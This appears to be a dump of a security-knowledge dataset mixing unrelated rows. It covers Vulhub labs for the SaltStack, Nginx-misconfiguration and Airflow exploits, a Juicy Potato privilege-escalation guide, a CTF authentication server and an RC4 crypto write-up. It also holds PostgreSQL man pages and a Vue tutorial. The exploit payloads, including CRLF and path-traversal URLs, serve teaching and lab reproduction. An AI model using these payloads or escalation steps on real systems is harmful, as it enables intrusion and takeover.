text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
# SaltStack 水平权限绕过漏洞（CVE-2020-11651）
SaltStack 是基于 Python 开发的一套C/S架构配置管理工具。国外某安全团队披露了 SaltStack 存在认证绕过漏洞（CVE-2020-11651）和目录遍历漏洞（CVE-2020-11652）。
在 CVE-2020-11651 认证绕过漏洞中，攻击者通过构造恶意请求，可以绕过 Salt Master 的验证逻辑，调用相关未授权函数功能，从而可以造成远程命令执行漏洞。
参考链接：
- https://labs.f-secure.com/advisories/saltstack-authorization-bypass
- https://github.com/rossengeorgiev/salt-security-backports
- https://github.com/saltstack/salt/blob/a67d76b15615983d467ed81371b38b4a17e4f3b7/tests/integration/master/test_clear_funcs.py
## 漏洞环境
执行如下命令启动一个SaltStack Master服务：
```
docker compose up -d
```
环境启动后，将会在本地监听如下端口：
- 4505/4506 这是SaltStack Master与minions通信的端口
- 8000 这是Salt的API端口
- 2222 这是容器内部的SSH服务器监听的端口
## 漏洞复现
本文档复现CVE-2020-11651漏洞。
我们可以使用如下请求来执行`salt/master.py`中的`ClearFuncs:_prep_auth_info`方法：
```
{'cmd': '_prep_auth_info'}
```
利用这个方法，可以获得目标的所有用户的key，利用这个key即可通过超级管理员权限执行一些后台功能，比如下发任务等。
使用[这个POC](https://github.com/dozernz/cve-2020-11651)，首先获取Key，再在master中执行`touch /tmp/success`：
|
sec-knowleage
|
# REQUIRED: PyCrypto 2.6.1
# To install: pip install pycrypto
# Homepage: https://www.dlitz.net/software/pycrypto/
import argparse
import SocketServer
import socket
import time
import sys
import json
import logging
from io import BytesIO
from base64 import b64encode, b64decode
from struct import pack, unpack
from Crypto.Cipher import AES
from Crypto import Random
from Crypto.Hash import SHA256
################################
# BEGIN SERVER SECRET DATA
serverKey = b64decode("zfAjjf1mNH3HStxAOR0Q+w==")
authDb = \
[
{ "user": "admin", "password": "BLTL-INCC-6GPM-N6S7", "groups": [ "admin" ] },
{ "user": "guest", "password": "Z29S-L47Z-9R8N-D76J", "groups": [ "guests" ] }
]
# END SERVER SECRET DATA
################################
logging.basicConfig(level=logging.INFO)
logger = logging.getLogger()
def pad(data):
result = data
nPadBytes = AES.block_size - len(data) % AES.block_size
for i in range(0, nPadBytes):
result += chr(nPadBytes)
return result
def unpad(data):
if len(data) == 0:
raise ValueError("Incorrect padding")
padLength = ord(data[-1])
if padLength == 0 or padLength > AES.block_size:
raise ValueError("Incorrect padding")
if padLength > len(data):
raise ValueError("Incorrect padding")
for i in range(-padLength, -2):
if ord(data[i]) != padLength:
raise ValueError("Incorrect padding")
return data[0:-padLength]
def encrypt(plaintext, key):
iv = Random.new().read(AES.block_size)
cipher = AES.new(key, AES.MODE_CBC, iv)
plaintextPadded = pad(plaintext)
return iv + cipher.encrypt(plaintextPadded)
def decrypt(ciphertext, key):
if len(ciphertext) < AES.block_size:
raise ValueError("Ciphertext is invalid - too short to contain IV")
iv = ciphertext[0:AES.block_size]
cipher = AES.new(key, AES.MODE_CBC, iv)
plaintextPadded = cipher.decrypt(ciphertext[AES.block_size:])
return unpad(plaintextPadded)
def getCurrentTimestamp():
return time.time() * 1000
def readNullTerminatedString(f):
buf = b''
while True:
if len(buf) > 1 << 20:
logger.warning("Overly long input string encountered")
raise Exception("Overly long input")
c = f.read(1)
if len(c) == 0:
logger.info("Unexpected end of stream encountered while reading a null-terminated string")
raise Exception("End of stream encountered")
if ord(c[0]) == 0: # Indicates NULL termination of a UTF-8 string.
break
buf += c
return unicode(buf, encoding="utf-8", errors="strict")
def readBytes(f, nBytes):
result = f.read(nBytes)
if len(result) != nBytes:
logger.warning("Unexpected end of stream encountered while reading a null-terminated string")
raise Exception("End of stream encountered")
return result
def toNullTerminatedUtf8(s):
return unicode(s).encode("utf-8") + "\x00"
def stringEquals_dataIndependentTime(a, b):
if len(a) != len(b):
return False
error = 0
for i in range(0, len(a)):
error |= ord(a[i]) ^ ord(b[i])
return error == 0
class MyTCPHandler(SocketServer.StreamRequestHandler):
nonceLengthInBytes = 8
def __init__(self, *a, **k):
logger.info("Instantiating MyTCPHandler")
self._terminateConnection = False
SocketServer.StreamRequestHandler.__init__(self, *a, **k)
def handle(self):
logger.debug("In MyTCPHandler.handle")
try:
while not self._terminateConnection:
messageTypeByte = self.rfile.read(1)
if len(messageTypeByte) == 0:
# Client has disconnected.
logger.info("Client has disconnected")
self._terminateConnection = True
else:
messageType = ord(messageTypeByte)
if messageType == 0x01:
self._processMessage_LogonRequest()
elif messageType == 0x03:
self._processMessage_LogonResponse()
elif messageType == 0x06:
self._processMessage_Command()
else:
raise Exception("Unknown message type received")
except:
# All malformed requests caught here.
# Send AUTHX_FAILURE and terminate connection.
exceptionInfo = sys.exc_info()
try:
logger.info("Exception: %s", exceptionInfo[1])
self._sendMessage_AuthxFailure(terminateConnection = True)
except:
pass
raise exceptionInfo[0], exceptionInfo[1], exceptionInfo[2]
def _isAdmin(self, identity):
for group in identity["groups"]:
if group == "admin":
return True
return False
def _processMessage_LogonRequest(self):
logger.info("Processing message: LOGON_REQUEST")
userName = readNullTerminatedString(self.rfile)
nonce = Random.new().read(self.nonceLengthInBytes)
timestamp = getCurrentTimestamp()
challengeCookie = b64encode(encrypt( \
nonce + \
toNullTerminatedUtf8(userName) + \
pack("<q", timestamp), \
serverKey))
self._sendMessage_LogonChallenge(nonce, challengeCookie)
def _sendMessage_LogonChallenge(self, nonce, challengeCookie):
logger.info("Sending message: LOGON_CHALLENGE")
self.wfile.write(
"\x02" + \
nonce + \
toNullTerminatedUtf8(challengeCookie))
self.wfile.flush()
def _sendMessage_AuthxFailure(self, terminateConnection = False):
logger.info("Sending message: AUTHX_FAILURE")
self.wfile.write("\x05")
self.wfile.flush()
if terminateConnection:
logger.info("Connection will be terminated")
self._terminateConnection = True
def _processMessage_LogonResponse(self):
logger.info("Processing message: LOGON_RESPONSE")
r = self._readBytes(SHA256.digest_size)
challengeCookie = readNullTerminatedString(self.rfile)
logger.debug("Challenge cookie received: %s", challengeCookie)
d = BytesIO(decrypt(b64decode(challengeCookie), serverKey))
nonce = readBytes(d, self.nonceLengthInBytes)
username = readNullTerminatedString(d)
timestamp = unpack("<q", readBytes(d, 8))[0]
if len(d.read(1)) != 0: # Not at end of string
logger.warn("Challenge cookie received does not have proper format")
raise Exception("Challenge cookie received does not have proper format")
currentTime = getCurrentTimestamp()
logger.debug("Cookie timestamp: %d. Current time: %d", timestamp, currentTime)
if timestamp < currentTime - 5 * 60 * 1000 or timestamp > currentTime:
logger.info("Challenge cookie is expired")
self._sendMessage_AuthxFailure()
return
userRecord = None
for element in authDb:
if element["user"] == username:
userRecord = element
break
if not userRecord:
logger.info("User does not exist in database: %s", username)
self._sendMessage_AuthxFailure()
return
correctResponse = SHA256.new(nonce + userRecord["password"]).digest()
logger.debug("Correct response to challenge : %s", correctResponse.__repr__())
logger.debug("Received response to challenge: %s", r.__repr__())
if not stringEquals_dataIndependentTime(r, correctResponse):
logger.info("Response to authentication challenge is not correct. User: %s", username)
self._sendMessage_AuthxFailure()
return
ticketTimestamp = getCurrentTimestamp()
identity = json.dumps( \
{ "user" : userRecord["user"], "groups": userRecord["groups"] }, \
ensure_ascii = False)
ticket = b64encode(encrypt( \
toNullTerminatedUtf8(identity) + \
pack("<q", ticketTimestamp), \
serverKey))
logger.info("Authentication succeeded. User: %s", username)
self._sendMessage_LogonSuccess(ticket)
def _sendMessage_LogonSuccess(self, ticket):
logger.info("Sending message: LOGON_SUCCESS")
self.wfile.write(
"\x04" + \
toNullTerminatedUtf8(ticket))
self.wfile.flush()
def _processMessage_Command(self):
logger.info("Processing message: COMMAND")
ticket = readNullTerminatedString(self.rfile)
(identity, error) = self._validateTicket(ticket)
if error == "EXPIRED":
logger.info("Ticket expired")
self._sendMessage_AuthxFailure()
return
elif error or not identity:
logger.info("Ticket invalid")
self._sendMessage_AuthxFailure(terminateConnection = True)
return
command = readNullTerminatedString(self.rfile)
logger.info("Command: %s. User: %s", command, identity["user"])
if command == "whoami":
result = json.dumps(identity, ensure_ascii = False)
elif command == "getflag":
if not self._isAdmin(identity):
logger.info("Unauthorized")
self._sendMessage_AuthxFailure()
return
else:
result = "GETFLAG AUTHORIZED BUT THIS SERVER DOES NOT CONTAIN A REAL FLAG"
else:
logger.info("Unrecognized command")
self._sendMessage_AuthxFailure()
return
self._sendMessage_CommandResult(result)
# Validates ticket and returns a tuple (identity, error).
# On success, identity is an identity object and error is None.
# On failure, identity is None and error is a string indicating the type of error
def _validateTicket(self, ticket):
try:
logger.debug("Ticket: %s", ticket)
d = BytesIO(decrypt(b64decode(ticket), serverKey))
identityFromTicket = json.loads(readNullTerminatedString(d))
timestamp = unpack("<q", readBytes(d, 8))[0]
if len(d.read(1)) != 0: # Not at end of string
raise Exception("Ticket is not well formed")
currentTime = getCurrentTimestamp()
logger.debug("Ticket timestamp: %d. Current time: %d", timestamp, currentTime)
if timestamp < currentTime - 1 * 60 * 60 * 1000 or timestamp > currentTime:
return (None, "EXPIRED")
username = identityFromTicket["user"]
if not (isinstance(username, str) or isinstance(username, unicode)):
raise Exception("Ticket is not well formed: username is not a string")
groups = []
for group in identityFromTicket["groups"]:
if not (isinstance(group, str) or isinstance(group, unicode)):
raise Exception("Ticket is not well formed: group name not a string")
groups.append(group)
identity = { "user": username, "groups": groups }
return (identity, None)
except:
logger.info("Ticket is not well formed", exc_info=True)
return (None, "INVALID")
def _sendMessage_CommandResult(self, commandResult):
self.wfile.write(
"\x07" + \
toNullTerminatedUtf8(commandResult))
self.wfile.flush()
def _readBytes(self, nBytes):
result = self.rfile.read(nBytes)
if len(result) != nBytes:
raise Exception("Connection was closed")
return result
class MyThreadingTCPServer(SocketServer.ThreadingTCPServer):
def server_bind(self):
self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.socket.bind(self.server_address)
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("--serverBindAddress", required=False, default="127.0.0.1")
parser.add_argument("port", type=int, nargs="?", default="8888")
args = parser.parse_args()
server = MyThreadingTCPServer((args.serverBindAddress, args.port), MyTCPHandler)
try:
logger.warn("Listing on interface '%s', port %d", args.serverBindAddress, args.port)
server.serve_forever()
except KeyboardInterrupt:
pass
logger.warn("")
logger.warn("Shutting down...")
server.shutdown()
logger.warn("Exiting")
|
sec-knowleage
|
.\" auto-generated by docbook2man-spec $Revision: 1.1 $
.TH "CREATE LANGUAGE" "7" "2003-11-02" "SQL - Language Statements" "SQL Commands"
.SH NAME
CREATE LANGUAGE \- 定义一种新的过程语言
.SH SYNOPSIS
.sp
.nf
CREATE [ TRUSTED ] [ PROCEDURAL ] LANGUAGE \fIname\fR
HANDLER \fIcall_handler\fR [ VALIDATOR \fIvalfunction\fR ]
.sp
.fi
.SH "DESCRIPTION 描述"
.PP
使用 CREATE LANGUAGE， 一个PostgreSQL 用户可以在 PostgreSQL里注册一个新的语言。 因而，函数和触发器过程可以用这种新语言定义。要注册新语言用户必须具有 PostgreSQL 超级用户权限。
.PP
\fBCREATE LANGUAGE\fR 将该语言的名字和一个调用句柄关联起来，而该调用句柄负责执行该语言书写的函数。 请参考 ``User-Defined Functions'' 获取有关语言调用句柄的更多信息。
.PP
请注意过程语言是对每个独立的数据库而言是自己的。 要让一种语言缺省时可以为所有数据库获得，那你应该把它安装到 template1 数据库里。
.SH "PARAMETERS 参数"
.TP
\fBTRUSTED\fR
TRUSTED 说明对该语言的调用句柄是安全的； 也就是说，它不会提供给非特权用户任何绕过访问限制的能力。 如果忽略这个关键字，只有具有 PostgreSQL 超级用户权限的人可以使用这个语言创建新的函数。
.TP
\fBPROCEDURAL\fR
这是个没有用的字。
.TP
\fB\fIname\fB\fR
新的过程化语言的名称。语言名是大小写无关的。 这个名字应该在数据库的所有语言中唯一。
出于向下兼容的原因，这个名字可以用单引号包围。
.TP
\fBHANDLER \fIcall_handler\fB\fR
\fIcall_handler\fR 是一个以前注册过的函数的名字，该函数将被调用来执行这门过程语言写的函数。 过程语言的调用句柄必须用一种编译语言书写，比如 C，调用风格必须是版本 1 的调用风格， 并且在 PostgreSQL 里注册为不接受参数并且返回 language_handler 类型的函数， language_handler 是用于将函数声明为调用句柄的占位符。
.TP
\fBVALIDATOR \fIvalfunction\fB\fR
\fIvalfunction\fR 是一个已经注册的函数的名字， 在用该语言创建新函数的时候将调用它来校验新函数。如果没有声明校验函数，那么建立新函数的时候就不会检查它。 校验函数必须接受一个类型为 oid 的参数，它是将要创建的函数的 OID，并且通常会返回 void。
校验函数通常会检查函数体，看看看有没有语法错误，但是它也可以查看函数的其它属性， 比如该语言是否不能处理某种参数类型。要发出一个错误，校验函数应该用 elog() 函数。 该函数的返回值将被忽略。
.SH "NOTES 注意"
.PP
这条命令通常不应该由用户直接执行。 对于 PostgreSQL 版本里提供的过程语言， 我们应该使用 \fBcreatelang\fR(1) 程序， 它将为我们安装正确的调用句柄。 （createlang 也会在内部调用 CREATE LANGUAGE。）
.PP
在 PostgreSQL 版本 7.3 之前， 我们必须声明句柄函数返回占位类型 opaque，而不是 language_handler。 为了支持装载旧的转储文件，CREATE LANGUAGE 还将接受声明为返回 opaque 的函数， 但是它会发出一条通知并且把函数声明返回类型改为 language_handler。
.PP
使用 CREATE FUNCTION [\fBcreate_function\fR(7)] 命令创建新函数。
.PP
使用 DROP LANGUAGE [\fBdrop_language\fR(7)]，或者更好是 \fBdroplang\fR(1) 程序删除一个过程语言。
.PP
系统表 pg_language （参阅 ``System Catalogs''） 记录了更多有关当前安装的过程语言的信息。createlang 也有一个选项列出已安装的语言。
.PP
目前，除了权限之外，一种过程语言创建之后它的定义就不能再更改。
.PP
要使用一种过程语言，用户必须被赋予 USAGE 权限。 如果该语言已知是可信的，那么 createlang 程序自动给每个人赋予权限。
.SH "EXAMPLES 例子"
.PP
下面两条顺序执行的命令将注册一门新的过程语言及其关联的调用句柄。
.sp
.nf
CREATE FUNCTION plsample_call_handler() RETURNS language_handler
AS '$libdir/plsample'
LANGUAGE C;
CREATE LANGUAGE plsample
HANDLER plsample_call_handler;
.sp
.fi
.SH "COMPATIBILITY 兼容性"
.PP
\fBCREATE LANGUAGE\fR 是 PostgreSQL 扩展。
.SH "SEE ALSO 参见"
ALTER LANGUAGE [\fBalter_language\fR(7)], CREATE FUNCTION [\fBcreate_function\fR(l)], DROP LANGUAGE [\fBdrop_language\fR(l)], GRANT [\fBgrant\fR(l)], REVOKE [\fBrevoke\fR(l)], \fBcreatelang\fR(1), \fBdroplang\fR(1)
.SH "译者"
.B Postgresql 中文网站
.B 何伟平 <laser@pgsqldb.org>
|
sec-knowleage
|
# Nginx 配置错误导致漏洞
## 运行测试环境
```
docker compose up -d
```
运行成功后，Nginx将会监听8080/8081/8082三个端口，分别对应三种漏洞。
## Mistake 1. CRLF注入漏洞
Nginx会将`$uri`进行解码，导致传入%0d%0a即可引入换行符，造成CRLF注入漏洞。
错误的配置文件示例（原本的目的是为了让http的请求跳转到https上）：
```
location / {
return 302 https://$host$uri;
}
```
Payload: `http://your-ip:8080/%0d%0aSet-Cookie:%20a=1`，可注入Set-Cookie头。
利用《[Bottle HTTP 头注入漏洞探究](https://www.leavesongs.com/PENETRATION/bottle-crlf-cve-2016-9964.html)》中的技巧，即可构造一个XSS漏洞：
## Mistake 2. 目录穿越漏洞
Nginx在配置别名（Alias）的时候，如果忘记加`/`，将造成一个目录穿越漏洞。
错误的配置文件示例（原本的目的是为了让用户访问到/home/目录下的文件）：
```
location /files {
alias /home/;
}
```
Payload: `http://your-ip:8081/files../` ，成功穿越到根目录：
## Mistake 3. add_header被覆盖
Nginx配置文件子块（server、location、if）中的`add_header`，将会覆盖父块中的`add_header`添加的HTTP头，造成一些安全隐患。
如下列代码，整站（父块中）添加了CSP头：
```
add_header Content-Security-Policy "default-src 'self'";
add_header X-Frame-Options DENY;
location = /test1 {
rewrite ^(.*)$ /xss.html break;
}
location = /test2 {
add_header X-Content-Type-Options nosniff;
rewrite ^(.*)$ /xss.html break;
}
```
但`/test2`的location中又添加了`X-Content-Type-Options`头，导致父块中的`add_header`全部失效：
XSS可被触发：
|
sec-knowleage
|
# Apache Airflow Celery Broker Remote Command Execution (CVE-2020-11981)
[中文版本(Chinese version)](README.zh-cn.md)
Apache Airflow is an open source, distributed task scheduling framework. In the version prior to 1.10.10, if the Redis broker (such as Redis or RabbitMQ) has been controlled by attacker, the attacker can execute arbitrary commands in the worker process.
Since there are many components to be started, it may be a bit stuck. Please prepare more than 2G of memory for the use of the virtual machine.
References:
- <https://lists.apache.org/thread/cn57zwylxsnzjyjztwqxpmly0x9q5ljx>
- <https://github.com/apache/airflow/pull/9178>
## Vulnerability Environment
Execute the following commands to start an airflow 1.10.10 server:
```bash
#Initialize the database
docker compose run airflow-init
#Start service
docker compose up -d
```
## Exploit
For exploit this vulnerability, you have to get the write permission of the Celery broker, Redis. In Vulhub environment, Redis port 6379 is exposing on the Internet.
Through the Redis, you can add the evil task `airflow.executors.celery_executor.execute_command` to the queue to execute arbitrary commands.
Use this script [exploit_airflow_celery.py](exploit_airflow_celery.py) to execute the command `touch /tmp/airflow_celery_success`
```
pip install redis
python exploit_airflow_celery.py [your-ip]
```
See the results on the logs:
```bash
docker compose logs airflow-worker
```
As you can see, `touch /tmp/airflow_celery_success` has been successfully executed:
```
docker compose exec airflow-worker ls -l /tmp
```
|
sec-knowleage
|
# Juicy Potato
ps:你要是翻译成好吃的土豆的的话，emmm，这人喜欢吃土豆，起的啥名？
我就翻译成可爱土豆了，咋滴。
[juicy-potato利用金票据提权](https://ohpe.github.io/juicy-potato/)
可爱土豆是`RottenPotato`漏洞利用的核武器级别的版本，利用微软处理令牌方式的原理，从而实现提权。
## 工作原理
我对Windows也并不是了解得有多深，但我就是想知道这个漏洞的原理。
`CLSID`是标识COM类对象的全局唯一标识符。这个漏洞允许我们从`session 0`中的服务帐户升级到SYSTEM权限。
## 怎么用呢？
我使用的是`Windows 10 Enterprise 1709`，但操作系统问题不大。但需要一个shell作为服务帐户。出于演示的目的呢，我使用了`nt authority\local service`
`SeAssignPrimaryTokenPrivilege SeImpersonatePrivilege`这个具有大多数服务账户拥有的特性。
尝试用`Microsoft Sysinternals`中的`psexec`打开一个shell作为服务帐户，如下面的截图所示。
```
PsExec64.exe -i -u "nt authority\local service" cmd.exe
```
然后我们从这里选择一个[CLSID](https://ohpe.it/juicy-potato/CLSID/) 。
说明：许多CLSID属于`LOGGED-IN-USER`，所以如果你选择用这玩意去登陆域管理员，你基本上可以直接升级到DA。但是，它只会获得第一个`session 1`的用户。找到预测的用户，然后进一步测试。无论哪种方式，SYSTEM权限是我们继续往下的前提。
现在我们通过指定1337的COM端口通过下面两种技术:
```
CreateProcessWithTokenW
CreateProcessAsUsernt
```
去执行进程cmd.exe，
然后利用成功，
```
authority\system
```
[](https://blobscdn.gitbook.com/v0/b/gitbook-28427.appspot.com/o/assets%2F-LBXJ8RJm7fk-rUVqjK5%2F-LK15IvAQgIYShDQ1y-I%2F-LK13cS0pHnAzoMad3__%2Fimage.png?alt=media&token=4f9ec76b-00b4-4cca-9d5f-71bc1c6cbf7b)
## 修复
这是由于服务帐户在启用[kerberos委派](https://technet.microsoft.com/en-us/library/cc995228.aspx)时需要模拟用户的方式。
根据某些的说法，实际的解决方案是直接保护在帐户下运行的敏感帐户和应用程序。
也就是
```
* SERVICE
```
|
sec-knowleage
|
# dctfizer (RevCrypt 400)
> Format Response: DCTF{md5(sol)} https://dctf.def.camp/quals-2016/re400.bin
> [UPDATE]: Initially it was MDCCCXLVI ...... don't even bother if you have nerve problems.
> [UPDATE] Updated ciphertext again. This time key was modified too! --- http://pastebin.com/r4BndGiy
In this task, we got just the encrypted, hex-encoded file. It was easy to see some patterns were repeating, such as
`qEdocBqhc` or `8dwnel`. If we read them backwards, they are `chqBcodEq` and `lenwd8`, respectively, which seem similar
to `charCode` or `length` - some JavaScript function names - which seemed good, so we reversed the whole ciphertext.
We found a couple of such ciphertext-plaintext pairs and noticed
that the lower nibbles of the character never changes - for example, `q` (ASCII 0x71) from `chqBcodE` was changed to `a`
(ASCII 0x61). We wrote an [interactive brute forcer](interactive.py), which allowed us to recover a couple
dozens of plaintext bytes:
```
`ufa,(hvensdio.(y{fq"p:];8)<7 <6 <8%<8'<9$<9 <7!<7$<8 <7)<8(<7&<8!<7%<6%<6&<8&<8"<7R={fq"p1][
eval((function(){var j=[89,70,60,85,87,94,90,71,74,80,79,88,76,81,75,65,66,86,82,7B];var a=[
```
If we write higher nibble of ciphertext, of plaintext, and of their xor, we will get something like this:
```
`ufa,(hvensdio.(y{fq"p:];8)<7 <6 <8%<8'<9$<9 <7!<7$<8 <7)<8(<7&<8!<7%<6%<6&<8&<8"<7R={fq"p1][
eval((function(){var j=[89,70,60,85,87,94,90,71,74,80,79,88,76,81,75,65,66,86,82,7B];var a=[
676622676676662277672735332332332332332332332332332332332332332332332332332332332335376727355
267662267667666227767263533233233233233233233233233233233233233233233233233233233234537672635
411040411011004050115556601101101101101101101101101101101101101101101101101101101101641155560
```
We can notice a pattern: lower row is xor of last two numbers on top row. With this in mind, we wrote a [script](solv.py)
to decrypt the whole file.
The decrypted file was the following script (after unpacking and unminifying):
```javascript
var _$_ddec = [ "toString", "charCodeAt", "length", "0", "map", "", "split", "join", "fromCharCode", "max", "log", "dctfizer", "undctfizer", "So what exactly do you want?" ];
function goToHex(b) {
var c = b["split"]("")["map"](function(d) {
var e = d["charCodeAt"](0)["toString"](16);
return e["length"] == 1 ? "0" + e : e;
});
return c["join"]("");
}
function backFromHex(b) {
var c = "";
for (var a = 0; a < b["length"]; a += 2) {
c += String["fromCharCode"](parseInt(b[a] + b[a + 1], 16));
}
return c;
}
function memoryGood(b, l) {
var f = [];
var g = 0;
for (var a = 0; a < 234; a++) {
f[a] = a;
}
for (a = 0; a < Math["max"](234, b["length"]); a++) {
var h = l["charCodeAt"](a);
l += String["fromCharCode"]((h << 1 | h >> 7) & 255);
}
console["log"](l["charCodeAt"](4));
for (a = 0; a < 234; a++) {
g = (g + f[a] + l["charCodeAt"](a)) % 234;
f[a] ^= f[g];
f[g] ^= f[a];
f[a] ^= f[g];
}
a = g = 0;
result = "";
for (var m = 0; m < b["length"]; m++) {
a = (a + 1) % 234;
g = (g + f[a]) % 234;
f[a] ^= f[g];
f[g] ^= f[a];
f[a] ^= f[g];
var n = f[(f[a] + f[g]) % 234];
var o = l["charCodeAt"](m);
result = result + String["fromCharCode"](n ^ b["charCodeAt"](m) ^ o);
}
return result;
}
function proceed(b, l, p) {
if (p == "dctfizer") {
cipherText = memoryGood(b, l);
return goToHex(cipherText);
} else {
if (p == "undctfizer") {
plainText = memoryGood(backFromHex(b), l);
return plainText;
}
}
return "So what exactly do you want?";
}
```
This is a modified RC4 algorithm.
In this code we can see a vulnerability in key expansion algorithm:
```javascript
for (a = 0; a < Math["max"](234, b["length"]); a++) {
var h = l["charCodeAt"](a);
l += String["fromCharCode"]((h << 1 | h >> 7) & 255);
}
```
The key is basically rotating, so if the first byte was `1100` then the first byte of extended key part would be `1001` and in the next round `0011` and so on.
This means that if we could extract a single bit position of the key, with enough ciphertext length we could extract the whole key.
However the code here was broken because `% 234` does not leave any bit position intact (maybe they wanted to do `& 234`?).
We contacted admins and they admited that it was a mistake and it should have been `128` and not `234`, which basically coverges this task to the same problem as here:
https://github.com/p4-team/ctf/tree/master/2015-11-20-dctffinals/crypto300#eng-version
Because now the MSB of all of the XORed elements is 0 apart from the one from key, so we can extract all MSB bits from ciphertext and combine them to recover the key (we need to brute-force the key length as well but the range is small).
|
sec-knowleage
|
.\" auto-generated by docbook2man-spec $Revision: 1.1 $
.TH "ALTER SEQUENCE" "7" "2003-11-02" "SQL - Language Statements" "SQL Commands"
.SH NAME
ALTER SEQUENCE \- 更改一个序列生成器的定义
.SH SYNOPSIS
.sp
.nf
ALTER SEQUENCE \fIname\fR [ INCREMENT [ BY ] \fIincrement\fR ]
[ MINVALUE \fIminvalue\fR | NO MINVALUE ] [ MAXVALUE \fImaxvalue\fR | NO MAXVALUE ]
[ RESTART [ WITH ] \fIstart\fR ] [ CACHE \fIcache\fR ] [ [ NO ] CYCLE ]
.sp
.fi
.SH "DESCRIPTION 描述"
.PP
\fBALTER SEQUENCE\fR 命令修改一个现有的序列发生器的参数。 任何没有明确在 ALTER SEQUENCE 命令里声明的参数都将保留原先的设置。
.SH "PARAMETERS 参数"
.PP
.TP
\fB\fIname\fB\fR
一个要修改的序列的名字（可以有模式修饰）。
.TP
\fB\fIincrement\fB\fR
INCREMENT BY \fIincrement\fR 子句是可选的。一个正数会让序列成为递增序列，负数则成为递减序列。 如果没有声明，将沿用原来的递增值。
.TP
\fB\fIminvalue\fB\fR
.TP
\fBNO MINVALUE\fR
可选的子句 MINVALUE \fIminvalue\fR 决定一个序列可以生成的最小的值。如果声明了 NO MINVALUE，将使用缺省值， 对于递增和递减的序列分别是 1 和 -2^63-1。如果没有声明任何选项，则沿用当前的最小值。
.TP
\fB\fImaxvalue\fB\fR
.TP
\fBNO MAXVALUE\fR
可选的子句 MAXVALUE \fImaxvalue\fR 决定序列的最大值。如果声明了 NO MAXVALUE，则使用缺省值，对于递增和递减的序列分别是 2^63-1 和 -1。如果两个选项都没有声明， 则沿用当前的最大值。
.TP
\fB\fIstart\fB\fR
可选的 RESTART WITH \fIstart\fR 子句允许序列可以在任何地方开始。
.TP
\fB\fIcache\fB\fR
CACHE \fIcache\fR 选项打开序列号预分配并存储在内存缓冲的功能。最小值是 1 （也就是每次只能生成一个数值，没有缓冲）。 如果没有声明，将沿用旧的缓冲值。
.TP
\fBCYCLE\fR
可选的键字 CYCLE 可以用于允许序列在达到递增序列的 maxvalue 或者递减序列的 minvalue的时候重叠使用。 如果达到了极限，那么生成的下一个数字将分别是
\fIminvalue\fR 或
\fImaxvalue\fR。
.TP
\fBNO CYCLE\fR
如果声明了可选键字 NO CYCLE，任何在序列达到其最大极限后对 nextval 的调用都将返回错误。 如果既未声明 CYCLE 也未声明 NO CYCLE， 那么将沿用原有的循环行为。
.PP
.SH "EXAMPLES 例子"
.PP
从 105 开始重新开始一个叫 serial 的序列：
.sp
.nf
ALTER SEQUENCE serial RESTART WITH 105;
.sp
.fi
.SH "NOTES 注意"
.PP
为了避免并发的事务从同一个序列获取数值的时候被阻塞住，ALTER SEQUENCE 操作从来不会回滚； 修改马上生效并且不能恢复。
.PP
\fBALTER SEQUENCE\fR 将不会立即影响后端的 nextval 结果，除了当前的之外， 因为它又已经缓冲了的序列号。它们只有再使用光所有已经缓冲的数值之后才能意识到改变了的序列参数。当前后端将立即被影响。
.SH "COMPATIBILITY 兼容性"
.SS "SQL99"
.PP
\fBALTER SEQUENCE\fR 是 PostgreSQL 语言扩展。在 SQL99 里没有 ALTER SEQUENCE 语句。
.SH "译者"
.B Postgresql 中文网站
.B 何伟平 <laser@pgsqldb.org>
|
sec-knowleage
|
# 模板语法
Vue.js 使用了基于 HTML 的模板语法，允许开发者声明式地将 DOM 绑定至底层 Vue 实例的数据。所有 Vue.js 的模板都是合法的 HTML ，所以能被遵循规范的浏览器和 HTML 解析器解析。
在底层的实现上， Vue 将模板编译成虚拟 DOM 渲染函数。结合响应系统，在应用状态改变时， Vue 能够智能地计算出重新渲染组件的最小代价并应用到 DOM 操作上。
### 指令
带有 v- 前缀的特殊属性。指令属性的值预期是`单一 JavaScript 表达式`（除了 v-for，之后再讨论）。指令的职责就是当其表达式的值改变时相应地将某些行为应用到 DOM 上
**v-text**
```html
<span v-text="msg"></span>
<!-- 和下面的一样 -->
<span>{{msg}}</span>
```
**v-if**，
**v-else**，
**v-else-if**
根据表达式的值的真假条件渲染元素。在切换时元素及它的数据绑定 / 组件被销毁并重建。如果元素是 <template> ，将提出它的内容作为条件块。
```html
<template>
<!--包裹判断的元素，判断元素相邻不用包裹-->
<div v-if="type === 'A'">A</div>
<div v-else-if="type === 'B'">B</div>
<div v-else-if="type === 'C'">C</div>
<div v-else>Not A/B/C</div>
</template>
```
```JS
var vm = new Vue({
el:'#app',
data:{
type:'A'
}
})
```
**v-show**
**v-for**
基于源数据多次渲染元素或模板块。此指令之值，必须使用特定语法 alias in expression ，为当前遍历的元素提供别名：
```html
<li v-for='(item,i) in todos'>
index:{{i}}----{{item.text}}
</li>
```
```js
data:{
todos: [
{id:1,text:'do what'},
{id:2,text:'do why'},
{id:3,text:'do when'}
]
}
```
**v-for**
对象的遍历
```js
<div v-for="(value, key, index) in object">
{{ index }}. {{ key }} : {{ value }}
</div>
```
```js
data:{
object: {
FirstName: 'John',
LastName: 'Doe',
Age: 30
}
}
```
**v-bind**
动态地绑定一个或多个特性，或一个组件 prop 到表达式。
在绑定 class 或 style 特性时，支持其它类型的值，如数组或对象。可以通过下面的教程链接查看详情。
在绑定 prop 时，prop 必须在子组件中声明。可以用修饰符指定不同的绑定类型。
没有参数时，可以绑定到一个包含键值对的对象。注意此时 class 和 style 绑定不支持数组和对象
```html
<div v-bind:id='id' v-bind:class='"main"'></div>
```
行内样式的写法
```js
:style="{color:'teal',fontSize:'20px'}"
```
对象写法
```html
<div v-bind:style="{ color: activeColor, fontSize: fontSize + 'px' }"></div>
```
```js
data: {
activeColor: 'red',
fontSize: 30
}
```
直接绑定到一个样式对象
```html
div v-bind:style="styleObject"></div>
```
```js
data: {
styleObject: {
color: 'red',
fontSize: '13px'
}
}
```
**v-model**
表单控件绑定
```html
<p>Message is: {{ message }}</p>
<input v-model="message" placeholder="edit me">
```
多个勾选框，绑定到同一个数组：
```html
<input type="checkbox" id="jack" value="Jack" v-model="checkedNames">
<label for="jack">Jack</label>
<input type="checkbox" id="john" value="John" v-model="checkedNames">
<label for="john">John</label>
